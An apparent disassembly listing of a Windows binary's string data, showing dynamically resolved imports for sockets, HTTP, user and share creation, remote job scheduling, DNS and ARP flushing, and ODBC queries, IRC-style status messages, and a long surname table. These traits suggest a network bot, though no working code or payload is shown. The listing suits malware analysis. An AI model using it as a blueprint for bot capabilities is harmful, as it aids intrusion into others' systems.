aNtohs db 'ntohs',0 ; DATA XREF: sub_408F54+57Co
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_408F54+589o
align 4
aSend_0 db 'send',0 ; DATA XREF: sub_408F54+596o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_408F54+5A3o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_408F54+5B0o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_408F54+5BDo
align 10h
aBind db 'bind',0 ; DATA XREF: sub_408F54+5CFo
align 4
aSelect db 'select',0 ; DATA XREF: sub_408F54+5D7o
align 10h
aListen db 'listen',0 ; DATA XREF: sub_408F54+5E4o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_408F54+5F1o
align 10h
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_408F54+5FEo
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_408F54+60Bo
aGethostname db 'gethostname',0 ; DATA XREF: sub_408F54+618o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_408F54+625o
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_408F54+632o
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_408F54+63Fo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_408F54+64Co
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_408F54:loc_4096D9o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_408F54+796o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408F54+79Eo
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_408F54+7ABo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_408F54+7B8o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_408F54+7C5o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_408F54+7D2o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_408F54+7DFo
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_408F54+7ECo
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_408F54+7F9o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_408F54+806o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408F54+878o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_408F54:loc_4097F9o
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_408F54+8B2o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_408F54+8BAo
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_408F54+8C7o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_408F54:loc_409858o
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_408F54+915o
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_408F54+91Do
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_408F54+92Ao
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408F54+937o
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_408F54+944o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_408F54+951o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_408F54+95Eo
align 10h
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_408F54+96Bo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_408F54+978o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_408F54+985o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_408F54+992o
align 10h
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_408F54+99Fo
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_408F54:loc_409974o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408F54+A2Do
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408F54+A35o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_408F54:loc_4099BEo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_408F54+A77o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408F54+A7Fo
align 4
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_408F54:loc_409A08o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_408F54+AC1o
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_408F54+AC9o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408F54+AD6o
align 10h
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408F54+AE3o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_408F54:loc_409A7Co
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_408F54+B35o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_408F54+B3Do
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_408F54:loc_409AC6o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_408F54+B7Fo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_408F54+B87o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_408F54+B94o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_408F54+BA1o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_408F54+BAEo
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_408F54+BBBo
align 4
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+28o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+90o
align 4
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+C4o
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+12Co
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+194o
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+230o
align 10h
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+264o
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+298o
unk_4452B4 db 2Dh ; - ; DATA XREF: sub_409B6C+2BEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
a__7: ; DATA XREF: .nsp0:00409E98o
unicode 0, <.>,0
a__8: ; DATA XREF: .nsp0:00409EB0o
unicode 0, <.>,0
unk_4452DC db 2Dh ; - ; DATA XREF: sub_409F35+8Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
unk_445308 db 2Dh ; - ; DATA XREF: sub_409F35:loc_409FC8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_445338 db 2Dh ; - ; DATA XREF: sub_409F35:loc_409F8Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
byte_445345 db 3, 2Dh, 20h ; DATA XREF: .nsp0:00452198o
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_44535C db 2Dh ; - ; DATA XREF: sub_409F35:loc_409FFAo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_44538C db 2Dh ; - ; DATA XREF: sub_409F35+43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGetting_0 db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A019+46o
align 8
aReal db 'real',0
align 10h
dd 0
dword_4453D4 dd 0 ; DATA XREF: sub_40A4F6+7o
off_4453D8 dd offset sub_40A112 ; DATA XREF: sub_40A4F6+49r
aConst db 'const',0
align 8
dd 1, 40A17Eh, 7474656Ch, 7265h, 0
dd 2, 40A1DCh, 706D6F63h, 2 dup(0)
dd 3, 40A229h, 6E756F63h, 797274h, 0
dd 4, 40A2CFh, 736Fh, 2 dup(0)
dd 5, 40A344h
off_445440 dd offset aAbdulrazak ; DATA XREF: sub_40A112+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_44544C dd offset aAddison ; DATA XREF: sub_40A4F6+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison_0 ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner_0 ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook_0 ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer_0 ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
off_445750 dd offset aCastelda ; DATA XREF: .nsp0:off_44B628o
; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles_0 ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton_0 ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField_0 ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield_0 ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson_0 ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood_0 ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker_0 ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
